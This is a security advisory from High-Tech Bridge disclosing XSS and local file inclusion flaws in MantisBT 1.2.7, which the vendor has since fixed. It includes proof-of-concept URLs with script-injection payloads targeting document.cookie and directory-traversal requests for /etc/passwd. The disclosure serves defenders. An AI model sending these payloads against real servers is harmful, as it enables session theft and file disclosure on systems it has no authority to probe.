Vulnerability ID: HTB23045 Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_mantisbt.ht ml Product: MantisBT Vendor: www.mantisbt.org ( http://www.mantisbt.org/ ) Vulnerable Version: 1.2.7 and probably prior Tested Version: 1.2.7 Vendor Notification: 31 August 2011 Vulnerability Type: Local File Inclusion, XSS Status: Fixed by Vendor Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in MantisBT, which can be exploited to perform cross-site scripting, local file inclusion attacks. 1) Input passed via the "action" GET parameter to bug_actiongroup_ext_page.php & bug_actiongroup_page.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: http://[host]/bug_actiongroup_ext_page.php?bug_arr[]=1&action=EXT_%22%3E %3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/bug_actiongroup_page.php?bug_arr[]=[ISSUE_ID]&action=EXT_% 22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 2) Input passed via the "action" GET parameter to bug_actiongroup_ext_page.php & bug_actiongroup_page.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local resources via directory traversal sequences and URL-encoded NULL bytes. http://[host]/bug_actiongroup_ext_page.php?bug_arr[]=1&action=EXT_/../.. /../../../../../etc/passwd%00 http://[host]/bug_actiongroup_page.php?bug_arr[]=[ISSUE_ID]&action=EXT_/ ../../../../../../../etc/passwd%00 3) Input appended to the URL after manage_config_email_page.php & manage_config_workflow_page.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. http://[host]/manage_config_email_page.php/%22%3E%3Cimg%20src=1%20onerro r=%22javascript:alert%28document.cookie%29;%22%3E/ http://[host]/manage_config_workflow_page.php/%22%3E%3Cimg%20src=1%20one rror=%22javascript:alert%28document.cookie%29;%22%3E/ 4) Input passed via the "platform", "os", "os_build", GET parameter to bug_report_page.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. http://[host]/bug_report_page.php?platform=%22%3E%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E Solution: Upgrade to the most recent version